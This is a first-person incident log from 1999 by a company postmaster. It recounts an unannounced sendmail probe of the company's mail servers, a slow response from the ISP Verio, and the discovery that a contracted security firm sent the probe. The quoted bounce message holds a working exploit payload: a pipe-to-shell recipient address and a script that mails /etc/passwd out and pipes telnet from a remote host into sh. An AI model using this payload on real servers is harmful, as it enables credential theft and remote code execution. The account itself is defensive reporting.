Today, I received a few strange email bounces to my postmaster account for my company (a very large Fortune 100 company), saying that mail had come in addressed to a nonexistent user, but that the return address was also bad, so my mail server couldn’t return them. It turns out that the mails were a part of an unsolicited, and definitely unwelcome, scan of our network; here’s how things played out.
4:49 PM EST: My mail server bounces the group of messages that the individual had sent to the postmaster account (me). Here is one of the messages, with both the perpetrator’s IP address (which is in the header and message) and our mail server name blacked out:
Received: from StPaulie ([*sender's IP*]) by *our server*
(Post.Office MTA v3.1 release PO203a ID# 0-34084U100L100S0)
with ESMTP id AAA173
for <"bin@localhost |tail|sh bin"@localhost>;
Tue, 21 Dec 1999 16:49:17 -0500
Return-Receipt-To: |foobar
Subject: ISS (This Email does not indicate a vulnerability)
# IGNORE THE BELOW MESSAGE.
# testing sendmail remote bug
#!/bin/shcat > /tmp/smail.bad <<EOFSubject: ISS - Sendmail Security Vulnerability Report
Sendmail on the originating host is Vulnerable to Intruders.
Please contact your Vendor for the Newest Sendmail version.
E-mail: <iss@iss.net> for Internet Security Scanner Information.
EOF
cat /tmp/smail.bad /etc/passwd | mail postmaster
( sleep 2 ; echo quit ) | telnet *sender's IP* 5700 | sh >> /tmp/tel.out 2>/tmp/tel.err
All in all, I got two bounces each from our two mail servers.
5:10 PM EST: I checked my mail, picked up the four bounced messages, and immediately did an nslookup, a whois, and a traceroute on the address. I found out that the address belongs to a customer of Verio, a large national ISP; the nslookup did not return a hostname, the whois resolved to a netblock of theirs, and the traceroute terminated on their network. I then went into my mail server logs and verified that the IP address was, in fact, correct; I also did a port scan of the IP address in question, and noticed that port 5700 (the port that the mail message tried to send my password list back to) was open and accepting TCP connections. (In addition, ports 5701, 5702, and 5703 were open.) It appeared to me that someone was running one of the ISS network or machine scanners against my mail servers.
5:15 PM EST: I called Verio’s corporate number, and notified the receptionist that I needed to speak with their security team. I was put in touch with a woman who took down the information and then told me that she was going to get in touch with the security team down in Dallas (where Verio’s Network Operation Center, or NOC, is located). She put me on hold, and then conferenced me in with the head of the team, who was in his car on the way home. He asked me to send the log files and my contact information to the security email account, and once he walked in his front door, he’d call me back.
5:45 PM EST: I checked the log files for our FTP, web, and other servers, and saw that the same address was either benevolently scanning or malevolently attempting to break into every single machine on a segment of our network. It appeared to be the same ISS security suite that was scanning us, on every machine. I called Verio back, and was put on hold to wait for a security technician.
While I was on hold, I was able to determine that the machine was still connected to the Internet, and still had the aforementioned ports open. I also was able to get a great deal of information about the machine, thanks to a bunch of great network information tools that run both on my Windows 98/NT boxes and my Linux box — I was able to get his Windows networking name, the type of operating system he was running, and all of the ports that he had open.
6:05 PM EST: An assistant-type came to the phone, and said that she couldn’t get in touch with any of the security people; she said that she would continue to try, and call me back.
6:20 PM EST: The assistant called me back, and patched in a security technician to the call. I let them know that I was seeing the same security probes on all of my machines. He again had me forward the logs to the security email address, and promised me a call back. While I was on the phone with him, I noted another round of scans against my machines; I also noted that their acceptable use policy (AUP) explicitly prohibits unauthorized access to other computers or networks (as it should), and says that they can shut down any accounts that they become aware of the behavior:
“When Verio becomes aware of harmful communications, however, it may take any of a variety of actions. Verio may remove information that violates its policies, implement screening software designed to block offending transmissions, or take any other action it deems appropriate, including termination of a subscriber’s contract with Verio.”
6:40 PM EST: With no call back, I head out to dinner; I have my beeper, and they know the number.
8:00 PM EST: I return from dinner, without having been paged, with no phone messages, and with a perfunctory email explaining that they are looking into it. I call the contact number that I have, and the person has gone home for the night; I then fall into the general support queue. While on hold, I determine that the machine is still up, that it is still the same machine, and that it has continued to scan my network every 30 to 60 minutes since I last checked.
8:20 PM EST: I give up, and try the corporate number. It tells me to call a different tech support number, and this call is immediately answered. The technician senses that I am slightly perturbed that over three hours have gone by without any action on their part; he puts me on hold while he contacts the NOC.
8:27 PM EST: The technician comes back and tells me that they have left a message on the user’s answering machine (he also accidentally tells me the user’s name and phone number, oops!), and that they have paged the security supervisor. Other than that, they are continuing to “deal with the situation,” and will contact me when they “figure things out.” I explained that I found this unacceptable — that I know that their AUP lets them shut the user down, and the fact that they had not done so, in the face of a very well-documented and unwelcome security probe, was just plain wrong.
I also asked for a call back from someone in the security group ASAP. My options, I explained, were to either allow them to continue to “deal with the problem” or to start the procedure at my end to shut down our network completely to Verio traffic; for all I knew, this was a dialup user, so shutting down a single IP address wouldn’t stop him from coming in on another address when he realized what we had done. He agreed, and told me that this was all “in the case,” so I could expect a call back.
8:50 PM EST: I begin the process of shutting down our network to the Verio network. I call our network support help desk, and had them page the night supervisor for the Internet firewall and router group.
8:53 PM EST: I get a call back from the help desk, asking for the IP address. They explain that they are going to start with that address, and both log and filter all traffic coming from Verio as well; they asked that I maintain the log files that I had, as well.
8:58 PM EST: I receive another batch of bounces from our mail servers; this is the fourth such batch, and they are all from the same IP address as before.
9:11 PM EST: I am no longer able to ping or scan the IP address in question; since I do not have my home connectivity through the office, this is the doing of Verio, not of my firewall and router people.
9:35 PM EST: I still have not heard a word from Verio. At this point, for all I know, I will go into work tomorrow and find machines trashed; my coworker and I decided that we would bring these logs to the corporate legal department, and also to explain that four hours of time went by between when Verio was notified of the security violation and when they started to take action to cut off the customer.
9:41 PM EST: I get an email from the head of the Verio security team; the entirety of the email (nothing has been omitted) is:
I'm looking into this right now.
9:51 PM EST: I get a call from the head of security of Verio, who is at home; he just got off the phone with his staff, who had just spoken with the person who was launching the probe. It turns out that it was a company under contract with our company to provide unannounced security probes; they were a little shocked that we had responded so quickly. I asked if Verio had known this the whole time; they said that they had just determined it. I asked why it took so long to discover this, and why so long had gone by without any communications from them; he said that he would look into it when he went in tomorrow morning.
9:55 PM EST: The on-call network supervisor for my company called me, and after I told him what I was able to find out, he acknowledged that it was a surprise network probe; he was surprised at how quickly we got on top of it, and got all of the networking people involved.
In the end, I am less than impressed at how Verio handled this. As part of my job with this company, I travel all over the United States to transmit electronic data back to New York. I always find a local ISP to use, and frequently have used Verio. The chances of me doing so again are small; their tech support, while in the end getting to the bottom of this, could have done more. If this had been a concerted attack rather than a probe, this would have become a big issue.
